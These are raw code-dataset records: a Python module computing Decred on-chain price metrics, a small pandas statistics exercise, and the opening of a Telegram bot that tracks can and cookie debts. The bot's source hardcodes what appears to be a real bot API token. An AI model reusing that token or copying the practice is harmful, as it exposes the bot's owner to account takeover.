= df['IssuedCapBTC'] / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n IssuedCapUSD = Issued Cap Adjusting for Inflation (USD)\n IssuedPriceUSD = Issued Price Adjusting for Inflation (USD)\n IssuedCapBTC = Issued Cap Adjusting for Inflation (BTC)\n IssuedPriceBTC = Issued Price Adjusting for Inflation (BTC)\n \"\"\"\n )\n\n return df\n\n def metric_s2f_model(self,df):\n \"\"\"\n Decred stock-to-flow Model in USD\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n S2F_CapMr_predict = S2F Cap (Checkmate)\n S2F_Price_predict = S2F Price (Checkmate)\n S2F_CapMr_multiple = S2F Multiple (Checkmate)\n S2F_CapMr_predict_PB = S2F Cap (Plan B)\n S2F_Price_predict_PB = S2F Price (Plan B)\n S2F_CapMr_multiple_PB = S2F Multiple (Plan B)\n \"\"\" \n df = df.dropna(axis=0)\n \n #Run OLS Linear Regression for full dataset\n x = 'S2F'\n y = 'CapMrktCurUSD'\n\n analysis = regression_analysis().ln_regression_OLS(df,x,y,True)\n df = analysis['df']\n reg_model = analysis['model']\n df['S2F_Price_predict'] = df['S2F_CapMr_predict'] / df['SplyCur']\n\n #Calc S2F Model - Bitcoins Plan B Model\n df['S2F_Price_predict_PB'] = np.exp(-1.84)*df['S2F']**3.36\n df['S2F_CapMr_predict_PB'] = df['S2F_Price_predict_PB'] * df['SplyCur']\n df['S2F_Price_multiple_PB'] = df['PriceUSD'] / df['S2F_Price_predict_PB']\n #Trim first value due to genesis spiking S2F results\n df = df[1:]\n\n print(\n \"\"\"\n ADDED COLUMNS:\n S2F_CapMr_predict = S2F Cap (Checkmate)\n S2F_Price_predict = S2F Price (Checkmate)\n S2F_CapMr_multiple = S2F Multiple (Checkmate)\n S2F_CapMr_predict_PB = S2F Cap (Plan B)\n S2F_Price_predict_PB = S2F Price (Plan B)\n S2F_CapMr_multiple_PB = S2F Multiple (Plan B)\n \"\"\" \n )\n\n return df, reg_model\n\n def metric_mayer_multiple(self,df):\n \"\"\"\n Mayer Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Mayer_Multiple = Mayer Multiple (PriceUSD/200DMA)\n 200DMA = 200DMA of PriceUSD\n 128DMA = 128DMA of PriceUSD\n \"\"\"\n df['Mayer_Multiple'] = (\n df['PriceUSD']\n / df['PriceUSD'].rolling(200).mean()\n )\n df['200DMA'] = df['PriceUSD'].rolling(200).mean()\n df['128DMA'] = df['PriceUSD'].rolling(128).mean()\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Mayer_Multiple = Mayer Multiple (PriceUSD/200DMA)\n 200DMA = 200DMA of PriceUSD\n 128DMA = 128DMA of PriceUSD\n \"\"\"\n )\n\n return df\n\n def metric_puell_multiple(self,df):\n \"\"\"\n Puell Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Puell_Multiple = Puell Multiple (PriceUSD/200DMA)\n \"\"\"\n #Calculate Puell Multiple expanding from 0 to 365 day MA\n df['Puell_Multiple'] = 0\n for i in df.index:\n _a = min(i,364)\n _b = df['DailyIssuedUSD'].rolling(_a).mean().loc[i]\n _c = df.loc[i,'DailyIssuedUSD']\n df.loc[i,'Puell_Multiple'] = _c / _b\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Puell_Multiple = Puell Multiple (PriceUSD/200DMA)\n \"\"\"\n )\n\n return df\n\n def metric_contractor_multiple(self,df):\n \"\"\"\n Contractor Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n #Calculate Contractor Multiple expanding from 0 to 30 day MA\n df['Contractor_Multiple'] = df['PriceUSD'] / df['PriceUSD'].rolling(30).mean()\n #Construct df with vertical lines at \n treasury = dcr_add_metrics().dcr_treasury()\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n )\n\n return df\n\n def metric_treasury_payments(self,df):\n \"\"\"\n Treasury Payments - builds df with prices on 1st and on date of pay\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n #Extract date and month of input df\n _df = df\n _df['year'] = df['date'].dt.year\n _df['month'] = df['date'].dt.month\n _df['day'] = df['date'].dt.day\n _df['Price30DMA'] = df['PriceUSD'].rolling(30).mean().fillna(df['PriceUSD'])\n #Extract date and month of treasury payments\n treasury = dcr_add_metrics().dcr_treasury()\n treasury['year'] = treasury['date'].dt.year\n treasury['month'] = treasury['date'].dt.month\n treasury['day'] = treasury['date'].dt.day\n #Add price and value columns\n treasury = treasury.merge(_df[['date','PriceUSD']],on='date',copy=False)\n treasury['received_usd'] = treasury['received_dcr'] * treasury['PriceUSD'] \n treasury['sent_usd'] = treasury['sent_dcr'] * treasury['PriceUSD'] \n\n #Build a Dataframe with:\n # Month and Year index\n # Price on the 1st of the month\n # 30DMA of price on the 1st of the month (Contractor billed rate)\n # Spend weighted average price from the treasury\n # Date of first Treasury payday\n df_pay = pd.DataFrame(columns=['year','month','PayDayAvg','Price_1st','Price30DMA_1st','PricePayAvg','PayDCRTot','PayTotUSD'])\n count = 0\n #Iterate over unique year (i) and month (j)\n for i in treasury.year.unique():\n for j in treasury[treasury['year']==i].month.unique():\n df_pay.loc[count,'year'] = i\n df_pay.loc[count,'month'] = j\n try:\n #Price and 30DMA as of 1st of month (Contractor billed against)\n _df_temp = _df[\n (_df['day']==1) & \n (_df['month']==j) & \n (_df['year']==i)\n ]\n df_pay.loc[count,'Price_1st'] = float(_df_temp.loc[:,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df_temp.loc[:,'Price30DMA'])\n if (i==2016) & (j==2):\n df_pay.loc[count,'Price_1st'] = float(_df.loc[0,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df.loc[0,'Price30DMA'])\n \n #Calculate spend average Treasury spend and payday date\n _treasury = treasury[\n (treasury['year']==i) &\n (treasury['month']==j) &\n (treasury['sent_dcr']>0)\n ]\n #Total DCR paid that month\n df_pay.loc[count,'PayDCRTot'] = _a = float(_treasury['sent_dcr'].sum())\n #Average USD price of DCR paid that month\n df_pay.loc[count,'PricePayAvg'] = float(_treasury['sent_usd'].sum()) / _a\n #Total USD Paid that Month\n df_pay['PayTotUSD'] = df_pay['PayDCRTot'] * df_pay['PricePayAvg']\n #DCR weighted average PayDay\n if _a == 0: #if no pay that month\n pass\n else:\n _b = _treasury['date'].dt.day * _treasury['sent_dcr']\n _c = int(_b.sum()/_a)\n df_pay.loc[count,'PayDayAvg'] = _c\n except:\n if (i==2016) & (j==2):\n df_pay.loc[count,'Price_1st'] = float(_df.loc[0,'PriceUSD'])\n df_pay.loc[count,'Price30DMA_1st'] = float(_df.loc[0,'Price30DMA'])\n count += 1\n df_pay['date'] = pd.to_datetime(pd.DataFrame({\n 'year': df_pay['year'],\n 'month': df_pay['month'],\n 'day': df_pay['PayDayAvg']\n }))\n\n print(\n \"\"\"\n ADDED COLUMNS:\n Contractor_Multiple = Contractor Multiple (PriceUSD/30DMA)\n \"\"\"\n )\n\n return df\n\n def metric_beam_indicator(self,df):\n \"\"\"\n Contractor Multiple\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n BEAM = BEAM Indicator\n BEAM_lower = BEAM Indicator Upper Bound\n BEAM_upper = BEAM Indicator Lower Bound\n \"\"\"\n for i in df.index:\n _a = min(i,1400)\n _b = df['PriceUSD'].rolling(_a).mean().loc[i] * 0.4\n _c = df.loc[i,'PriceUSD']\n df.loc[i,'BEAM'] = np.log(_c / _b) / 1\n df.loc[i,'BEAM_lower'] = _b\n df.loc[i,'BEAM_upper'] = _b * 15.2281175\n\n print(\n \"\"\"\n ADDED COLUMNS:\n BEAM = BEAM Indicator\n BEAM_lower = BEAM Indicator Upper Bound\n BEAM_upper = BEAM Indicator Lower Bound\n \"\"\"\n )\n return df\n\n def metric_nvt_rvt(self,df,mode):\n \"\"\"\n NVT and RVT Ratio\n INPUT:\n df = DataFrame\n mode: 0 = TxTfrValUSD\n mode: 1 = TxTfrValAdjUSD\n ADDED COLUMNS:\n NVT_28 = NVT 28DMA\n NVT_90 = NVT 90DMA\n NVTS = NVT Signal\n RVT_28 = RVT 28DMA\n RVT_90 = RVT 90DMA\n RVTS = RVT Signal\n \"\"\"\n #Calculate NVT and RVT 28 and 90DMA\n\n if mode == 0:\n metric = 'TxTfrValUSD'\n else:\n metric = 'TxTfrValAdjUSD'\n print(metric)\n \n for i in [28,90]:\n name_nvt = 'NVT_' + str(i)\n name_rvt = 'RVT_' + str(i)\n\n df[name_nvt] = (\n df['CapMrktCurUSD'].rolling(i).mean()\n / df[metric].rolling(i).mean()\n )\n\n df[name_rvt] = (\n df['CapRealUSD'].rolling(i).mean()\n / df[metric].rolling(i).mean()\n )\n \n #Calculate NVTS and RVTS (28DMA on Tx only)\n if i == 28:\n df['NVTS'] = (\n df['CapMrktCurUSD']\n / df[metric].rolling(i).mean()\n )\n \n df['RVTS'] = (\n df['CapRealUSD']\n / df[metric].rolling(i).mean()\n )\n \n print(\n \"\"\"\n ADDED COLUMNS:\n NVT_28 = NVT 28DMA\n NVT_90 = NVT 90DMA\n NVTS = NVT Signal\n RVT_28 = RVT 28DMA\n RVT_90 = RVT 90DMA\n RVTS = RVT Signal\n \"\"\"\n )\n return df\n\n def metric_TVWAP(self,df):\n \"\"\"\n NVT and RVT Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n 14day_TVWAP = 14-day Ticket Weighted Avg Price\n 14day_TVWAP_Cap = 14-day Ticket Weighted Avg Cap\n 14day_TVWAP_Ratio = 14-day TVWAP Ratio\n\n 28day_TVWAP = 28-day Ticket Weighted Avg Price\n 28day_TVWAP_Cap = 28-day Ticket Weighted Avg Cap\n 28day_TVWAP_Ratio = 28-day TVWAP Ratio\n\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n \"\"\"\n\n #14 Day TVWAP\n df['14day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(14).sum()\n / df['dcr_tic_vol'].rolling(14).sum())\n )\n df['14day_TVWAP_Ratio'] = df['14day_TVWAP'] / df['PriceUSD']\n df['14day_TVWAP_Cap'] = df['14day_TVWAP'] * df['dcr_sply']\n\n\n #28 Day TVWAP\n df['28day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(28).sum()\n / df['dcr_tic_vol'].rolling(28).sum())\n )\n df['28day_TVWAP_Ratio'] = df['28day_TVWAP'] / df['PriceUSD']\n df['28day_TVWAP_Cap'] = df['28day_TVWAP'] * df['dcr_sply']\n\n\n #142 Day TVWAP\n df['142day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(142).sum()\n / df['dcr_tic_vol'].rolling(142).sum())\n )\n df['142day_TVWAP_Ratio'] = df['142day_TVWAP'] / df['PriceUSD']\n df['142day_TVWAP_Cap'] = df['142day_TVWAP'] * df['dcr_sply']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n 14day_TVWAP = 14-day Ticket Weighted Avg Price\n 14day_TVWAP_Cap = 14-day Ticket Weighted Avg Cap\n 14day_TVWAP_Ratio = 14-day TVWAP Ratio\n\n 28day_TVWAP = 28-day Ticket Weighted Avg Price\n 28day_TVWAP_Cap = 28-day Ticket Weighted Avg Cap\n 28day_TVWAP_Ratio = 28-day TVWAP Ratio\n\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n \"\"\"\n )\n \n return df\n\n def metric_hodler_conversion(self,df):\n \"\"\"\n HODLer Conversion Rate\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n hconv142d = 142-day HODLer Conversion Rate\n hconv142d_pos = hconv142d (positive only)\n hconv142d_neg = hconv142d (negative only)\n \"\"\"\n #142 Day TVWAP\n df['142day_TVWAP'] = (\n (df['tic_usd_cost'].rolling(142).sum()\n / df['dcr_tic_vol'].rolling(142).sum())\n )\n df['142day_TVWAP_Ratio'] = df['142day_TVWAP'] / df['PriceUSD']\n df['142day_TVWAP_Cap'] = df['142day_TVWAP'] * df['dcr_sply']\n\n #Calculate Hodler Conversion Rate\n df['hconv142d'] = (\n (df['dcr_tic_vol'].rolling(142).sum() \n / df['TxTfrValNtv'].rolling(142).sum())\n -\n (df['dcr_tic_vol'].rolling(28).sum() \n / df['dcr_sply'])\n )\n\n #Create positive and Negative datasets\n df['hconv142d_pos'] = np.where(df['hconv142d'] >= 0, df['hconv142d'], 0)\n df['hconv142d_neg'] = np.where(df['hconv142d'] < 0, df['hconv142d'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n 142day_TVWAP = 142-day Ticket Weighted Avg Price\n 142day_TVWAP_Cap = 142-day Ticket Weighted Avg Cap\n 142day_TVWAP_Ratio = 142-day TVWAP Ratio\n hconv142d = 142-day HODLer Conversion Rate\n hconv142d_pos = hconv142d (positive only)\n hconv142d_neg = hconv142d (negative only)\n \"\"\"\n )\n return df\n \n def metric_strongest_hand(self,df):\n \"\"\"\n Strongest Hand\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n stronghand_cap_28 = 28-day Strongest Hand Cap\n stronghand_cap_28 = 142-day Strongest Hand Cap\n stronghand_ratio_28 = 28-day Strongest Hand Ratio\n stronghand_ratio_28 = 142-day Strongest Hand Cap\n stronghand_top_28 = 28-day Strong hand top band (x1.60)\n stronghand_btm_28 = 28-day Strong hand btm band (x1.00)\n stronghand_top_142 = 142-day Strong hand top band (x1.45)\n stronghand_btm_142 = 142-day Strong hand btm band (x0.60)\n \"\"\"\n _a = df['tic_usd_cost']\n df['stronghand_cap_28'] = _a.rolling(window=28).max() * 28\n df['stronghand_cap_142'] = _a.rolling(window=142).max() * 28\n\n df['stronghand_ratio_28'] = df['CapMrktCurUSD'] / df['stronghand_cap_28']\n df['stronghand_ratio_142'] = df['CapMrktCurUSD'] / df['stronghand_cap_142'] \n\n df['stronghand_top_28'] = df['stronghand_cap_28'] * (1.618) #1/0.618\n df['stronghand_btm_28'] = df['stronghand_cap_28'] * 1.00\n\n df['stronghand_top_142'] = df['stronghand_cap_142'] * 1.45\n df['stronghand_btm_142'] = df['stronghand_cap_142'] * 0.618\n\n print(\n \"\"\"\n ADDED COLUMNS:\n stronghand_cap_28 = 28-day Strongest Hand Cap\n stronghand_cap_28 = 142-day Strongest Hand Cap\n stronghand_ratio_28 = 28-day Strongest Hand Ratio\n stronghand_ratio_28 = 142-day Strongest Hand Cap\n stronghand_top_28 = 28-day Strong hand top band (x1.60)\n stronghand_btm_28 = 28-day Strong hand btm band (x1.00)\n stronghand_top_142 = 142-day Strong hand top band (x1.45)\n stronghand_btm_142 = 142-day Strong hand btm band (x0.60)\n \"\"\"\n )\n return df\n\n def metric_mining_pulse(self):\n \"\"\"\n Mining Pulse\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n miningpulse = Mining Pulse (seconds)\n miningpulse_pos = Mining Pulse positive (seconds)\n miningpulse_neg = Mining Pulse negative (seconds)\n \"\"\"\n df = dcrdata_api().dcr_performance() #dcrdata block time\n df['date'] = pd.to_datetime(df['time'],unit='s',utc=True) #Date from timestamp\n #Calculate mining pulse in seconds\n df['miningpulse'] = df['blk_time_s'].rolling(18144).mean() - 300\n\n df['miningpulse_pos'] = np.where(df['miningpulse'] >= 0, df['miningpulse'], 0)\n df['miningpulse_neg'] = np.where(df['miningpulse'] < 0, df['miningpulse'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n miningpulse = Mining Pulse (seconds)\n miningpulse_pos = Mining Pulse positive (seconds)\n miningpulse_neg = Mining Pulse negative (seconds)\n \"\"\"\n )\n return df\n\n def metric_ticket_funding_rate(self,df):\n \"\"\"\n Ticket Funding Rates\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_fund_rate = Ticket Funding Rate\n tic_fund_zscore = Ticket Funding Z-Score\n tic_fund_zscore_14d = 14-day Sum of ticket_funding_zscore\n \"\"\"\n #Calculate PoS_reward in ideal scenario\n blk_max = int(df['blk'].iloc[-1])\n sply = dcr_add_metrics().dcr_sply(blk_max)\n sply['PoS_reward'] = sply['PoSSply_ideal'].diff()/5\n df = df.merge(sply[['blk','PoS_reward']],on='blk',copy=False)\n \n df['tic_ROI'] = df['PoS_reward']/df['tic_price_avg']\n df['tic_fund_rate'] = df['tic_ROI'] - df['tic_ROI'].rolling(28).mean()\n df['tic_fund_zscore'] = (\n df['tic_fund_rate']\n - df['tic_fund_rate'].rolling(28).mean()\n ) / df['tic_fund_rate'].rolling(28).mean().std()\n df['tic_fund_zscore_14d'] = df['tic_fund_zscore'].rolling(14).sum()\n \n print(\n \"\"\"\n ADDED COLUMNS:\n tic_fund_rate = Ticket Funding Rate\n tic_fund_zscore = Ticket Funding Z-Score\n tic_fund_zscore_14d = 14-day Sum of ticket_funding_zscore\n \"\"\"\n )\n return df\n\n def metric_ticket_overunder(self,df):\n \"\"\"\n Ticket Over/Under Metric\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_overunder = Ticket Over/Under Oscillator\n \"\"\"\n df['tic_overunder'] = (\n df['dcr_tic_vol'].rolling(28).sum()\n /\n df['dcr_tic_vol'].rolling(142).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tic_overunder = Ticket Over/Under Oscillator\n \"\"\"\n )\n\n return df\n\n def metric_tic_vol_sum_142day(self,df):\n \"\"\"\n 142-day Sum of USD Ticket Volume\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tic_usd_cost_142sum = 142-day Sum of USD in Tickets\n tic_usd_cost_142sum_oscillator = 142-day Sum of USD in Tickets * 0.5\n \"\"\"\n df['tic_usd_cost_142sum'] = (\n df['tic_usd_cost'].rolling(142).sum()\n /df['dcr_sply']\n )\n df['tic_usd_cost_142sum_oscillator'] = (\n df['PriceUSD'] / (df['tic_usd_cost_142sum']*0.500)\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tic_usd_cost_142sum = 142-day Sum of USD in Tickets\n tic_usd_cost_142sum_oscillator = 142-day Sum of USD in Tickets * 0.5\n \"\"\"\n )\n\n return df\n\n def metric_tx_volatility_ratio(self,df):\n \"\"\"\n Transaction Volatility Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tx_volatility_ratio = Tx USD volume 28DMA / Tx USD Volume 142DMA\n tx_volatility_ratio_Ntv = Tx DCR volume 28DMA / Tx DCR Volume 142DMA\n \"\"\"\n df['tx_volatility_ratio'] = (\n df['dcr_tfr_vol'].rolling(28).sum()\n /\n df['dcr_tfr_vol'].rolling(142).sum()\n )\n\n df['tx_volatility_ratio_Ntv'] = (\n df['TxTfrValAdjNtv'].rolling(28).sum()\n /\n df['TxTfrValAdjNtv'].rolling(142).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tx_volatility_ratio = Tx USD volume 28DMA / Tx USD Volume 142DMA\n tx_volatility_ratio_Ntv = Tx DCR volume 28DMA / Tx DCR Volume 142DMA\n \"\"\"\n )\n\n return df\n\n def metric_tx_sum_adjsply_28d_142d(self,df):\n \"\"\"\n 28 and 142-day sum of DCR moved divided by Circulating Supply\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n tx_dcr_28sum = 28-day Sum DCR TxTfr / Total Supply\n tx_dcr_28sum_adj = 28-day Sum DCR TxTfrAdj / Total Supply\n tx_dcr_142sum = 142-day Sum DCR TxTfr / Total Supply\n tx_dcr_142sum_adj = 142-day Sum DCR TxTfrAdj / Total Supply\n \"\"\"\n df['tx_dcr_28sum'] = df['TxTfrValNtv'].rolling(28).sum() / df['SplyCur']\n df['tx_dcr_28sum_adj'] = df['TxTfrValAdjNtv'].rolling(28).sum() / df['SplyCur']\n\n df['tx_dcr_142sum'] = df['TxTfrValNtv'].rolling(142).sum() / df['SplyCur']\n df['tx_dcr_142sum_adj'] = df['TxTfrValAdjNtv'].rolling(142).sum() / df['SplyCur']\n\n print(\n \"\"\"\n ADDED COLUMNS:\n tx_dcr_28sum = 28-day Sum DCR TxTfr / Total Supply\n tx_dcr_28sum_adj = 28-day Sum DCR TxTfrAdj / Total Supply\n tx_dcr_142sum = 142-day Sum DCR TxTfr / Total Supply\n tx_dcr_142sum_adj = 142-day Sum DCR TxTfrAdj / Total Supply\n \"\"\"\n )\n\n return df\n\n def metric_max_vol_ratio(self,df):\n \"\"\"\n Maximum Volume Ratio\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n max_vol_ratio_USD = Max Volume Ratio (USD)\n max_vol_ratio_BTC = Max Volume Ratio (BTC)\n \"\"\"\n df['max_vol_ratio_USD'] = (\n df['CapMrktCurUSD']\n /\n df['tic_usd_cost'].rolling(28).sum()\n )\n\n df['max_vol_ratio_BTC'] = (\n df['CapMrktCurBTC']\n /\n df['tic_btc_cost'].rolling(28).sum()\n )\n\n print(\n \"\"\"\n ADDED COLUMNS:\n max_vol_ratio_USD = Max Volume Ratio (USD)\n max_vol_ratio_BTC = Max Volume Ratio (BTC)\n \"\"\"\n )\n\n return df\n\n def metric_MACD(self,df):\n \"\"\"\n MACD Indicator\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n MACD = MACD Line\n Signal = Signal Line\n MACD_Hist = MACD Histogram Oscillator\n MACD_Hist_pos = MACD Histogram (positive)\n MACD_Hist_neg = MACD Histogram (negative)\n \"\"\"\n df['MACD'] = (\n df['PriceUSD'].ewm(com=12).mean()\n - df['PriceUSD'].ewm(com=26).mean()\n )\n df['Signal'] = df['MACD'].ewm(com=9).mean()\n df['MACD_Hist'] = df['MACD'] - df['Signal']\n\n #Create positive and Negative datasets\n df['MACD_Hist_pos'] = np.where(df['MACD_Hist'] >= 0, df['MACD_Hist'], 0)\n df['MACD_Hist_neg'] = np.where(df['MACD_Hist'] < 0, df['MACD_Hist'], 0)\n\n print(\n \"\"\"\n ADDED COLUMNS:\n MACD = MACD Line\n Signal = Signal Line\n MACD_Hist = MACD Histogram Oscillator\n MACD_Hist_pos = MACD Histogram (positive)\n MACD_Hist_neg = MACD Histogram (negative)\n \"\"\"\n )\n \n return df\n\n def metric_OBV(self,df):\n \"\"\"\n Onchain On Balance Volume Indicator\n INPUT:\n df = DataFrame\n ADDED COLUMNS:\n OBV_vol = Onchain volume + or - (TxTfrValUSD)\n OBV = OBV Value\n OBV_pos = OBV Value (Positive)\n OBV_neg = OBV Value (Negative)\n OBV_28_Indicator = OBV Indicator (OBV - 28-EMA)\n OBV_142_Indicator = OBV Indicator (OBV - 142-EMA)\n \"\"\"\n df['OBV'] = 0\n for index, row in df.iterrows():\n if index == 0:\n prev_price = row['PriceUSD']\n prev_obv = row['TxTfrValUSD'] \n else:\n if row['PriceUSD'] >= prev_price:\n df.loc[index,'OBV_vol'] = row['TxTfrValNtv']\n df.loc[index,'OBV_tic_vol'] = row['dcr_tic_vol']\n else:\n df.loc[index,'OBV_vol'] = row['TxTfrValNtv'] * -1\n df.loc[index,'OBV_tic_vol'] = row['dcr_tic_vol'] * -1\n \n prev_price = row['PriceUSD']\n\n #Total Volume\n df['OBV'] = df['OBV_vol'].cumsum()\n df['OBV_28_Indicator'] = df['OBV'] - df['OBV'].ewm(span=28).mean()\n df['OBV_142_Indicator'] = df['OBV'] - df['OBV'].ewm(span=142).mean()\n \n #Ticket Volume\n df['OBV_tic'] = df['OBV_tic_vol'].cumsum()\n df['OBV_tic_28_Indicator'] = df['OBV_tic'] - df['OBV_tic'].ewm(span=28).mean()\n df['OBV_tic_142_Indicator'] = df['OBV_tic'] - df['OBV_tic'].ewm(span=142).mean()\n \n ##Create positive and Negative datasets\n #df['OBV_pos'] = np.where(df['OBV_28_Indicator'] >= 0, df['OBV_28_Indicator'], 0)\n #df['OBV_neg'] = np.where(df['OBV_28_Indicator'] < 0, df['OBV_28_Indicator'], 0)\n \n print(\n \"\"\"\n ADDED COLUMNS:\n OBV_vol = Onchain volume + or - (TxTfrValUSD)\n OBV = OBV Value\n OBV_pos = OBV Value (Positive)\n OBV_neg = OBV Value (Negative)\n OBV_28_Indicator = OBV Indicator (OBV - 28-EMA)\n OBV_142_Indicator = OBV Indicator (OBV - 142-EMA)\n \"\"\"\n )\n return df\n\n\n\n\n#DCR_coin = dcr_add_metrics().dcr_coin()\n#DCR_diff = dcr_add_metrics().dcr_diff()\n#DCR_perf = dcr_add_metrics().dcr_perf()\n#DCR_natv = dcr_add_metrics().dcr_natv()\n#DCR_priv = dcr_add_metrics().dcr_priv()\n#DCR_real = dcr_add_metrics().dcr_real()\n#DCR_sply = dcr_add_metrics().dcr_sply(500000)\n#DCR_tics = dcr_add_metrics().dcr_ticket_models()\n","sub_path":"dcronchain/dcr_add_metrics.py","file_name":"dcr_add_metrics.py","file_ext":"py","file_size_in_byte":67855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481771533","text":"import pandas as pd\nfrom scipy import stats\n\ndata = '''Region, Alcohol, Tobacco\n ...: North, 6.47, 4.03\n ...: Yorkshire, 6.13, 3.76\n ...: Northeast, 6.19, 3.77\n ...: East Midlands, 4.89, 3.34\n ...: West Midlands, 5.63, 3.47\n ...: East Anglia, 4.52, 2.92\n ...: Southeast, 5.89, 3.20\n ...: Southwest, 4.79, 2.71\n ...: Wales, 5.27, 3.53\n ...: Scotland, 6.08, 4.51\n ...: Northern Ireland, 4.02, 4.56'''\n# First, split the string on the (hidden characters that indicate) newlines\ndata = data.splitlines() # we could also do data.split('\\n')\n# Then, split each item in this list on the commas\n# the bracketed expression is a list comprehension\ndata = [i.split(', ') for i in data] \n# Now, convert create a pandas dataframe\ncolumn_names = data[0] # this is the first row\ndata_rows = data[1::] # these are all the following rows of data\ndf = pd.DataFrame(data_rows, columns=column_names)\ndf['Alcohol'] = df['Alcohol'].astype(float)\ndf['Tobacco'] = df['Tobacco'].astype(float)\ndf['Alcohol'].mean()\ndf['Alcohol'].median()\nstats.mode(df['Tobacco'])\n\nmax(df['Alcohol']) - min(df ['Alcohol'])\n\ndf['Alcohol'].std()\n\nmax(df['Tobacco']) - min(df['Tobacco'])\n\ndf['Tobacco'].std()\ndf['Tobacco'].var()\n","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"291974580","text":"import sys\nimport time\nimport telepot\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton\nimport logger\nimport telecyc\nchat = 0\ntelecyc.file_exist()\n\ndef on_chat_message(msg):\n content_type, chat_type, chat_id = telepot.glance(msg)\n chat = chat_id\n\n keyboard = InlineKeyboardMarkup(inline_keyboard=[\n [InlineKeyboardButton(text='Ajouter Canette', callback_data='add_canette')],\n [InlineKeyboardButton(text='Ajouter Gateau', callback_data='add_gateau')],\n [InlineKeyboardButton(text='Retirer Canette', callback_data='remove_canette')],\n [InlineKeyboardButton(text='Retirer Gateau', callback_data='remove_gateau')],\n [InlineKeyboardButton(text='Mon Ardoise', callback_data='see_ardoise')],\n [InlineKeyboardButton(text='Mon ID', callback_data='id')],\n [InlineKeyboardButton(text='Creer un compte', callback_data='create')],\n [InlineKeyboardButton(text='Effacer l\\'ardoise', callback_data='wipe')],\n \n \n ])\n\n bot.sendMessage(chat_id, 'Creer un compte si c\\'est votre premiere connexion', reply_markup=keyboard)\n\ndef on_callback_query(msg):\n query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\n print('Callback Query:', query_id, from_id, query_data)\n if query_data == 'create':\n telecyc.create_user(from_id)\n logger.logger.critical('create_account :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='I created Your Account')\n elif query_data == 'add_canette':\n c = telecyc.add_canette(from_id)\n logger.logger.critical('add_can :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='Added One Can, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'add_gateau':\n c = telecyc.add_gateau(from_id)\n logger.logger.critical('add_gateau :: %s ' ,str(from_id))\n bot.answerCallbackQuery(query_id, text='Added One cookie, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'remove_canette':\n c = telecyc.rm_canette(from_id)\n logger.logger.critical('remove_can :: %s ' ,str(from_id))\n bot.answerCallbackQuery(query_id, text='Removed One Can, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'remove_gateau':\n c = telecyc.rm_gateau(from_id)\n logger.logger.critical('remove_gateau :: %s ', str(from_id))\n bot.answerCallbackQuery(query_id, text='Removed One Cookie, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'see_ardoise':\n bot.answerCallbackQuery(query_id, telecyc.see_ardoise(from_id))\n logger.logger.critical('see_ardoise :: %s ' , str(from_id))\n elif query_data == 'id':\n bot.answerCallbackQuery(query_id, text =(\"Ton id est: \" + str(from_id)))\n logger.logger.critical('see_id :: %s ' , str(from_id))\n elif query_data == 'wipe':\n telecyc.wipe(from_id)\n logger.logger.critical('clean_slate :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='You Slate has been wiped')\n else:\n bot.answerCallbackQuery(query_id, text='Error')\n\nbot = telepot.Bot('257485010:AAHtWXAzE2KuIlTxmZ3D_mGoSokCje_FLL8')\nbot.message_loop({'chat': on_chat_message,\n 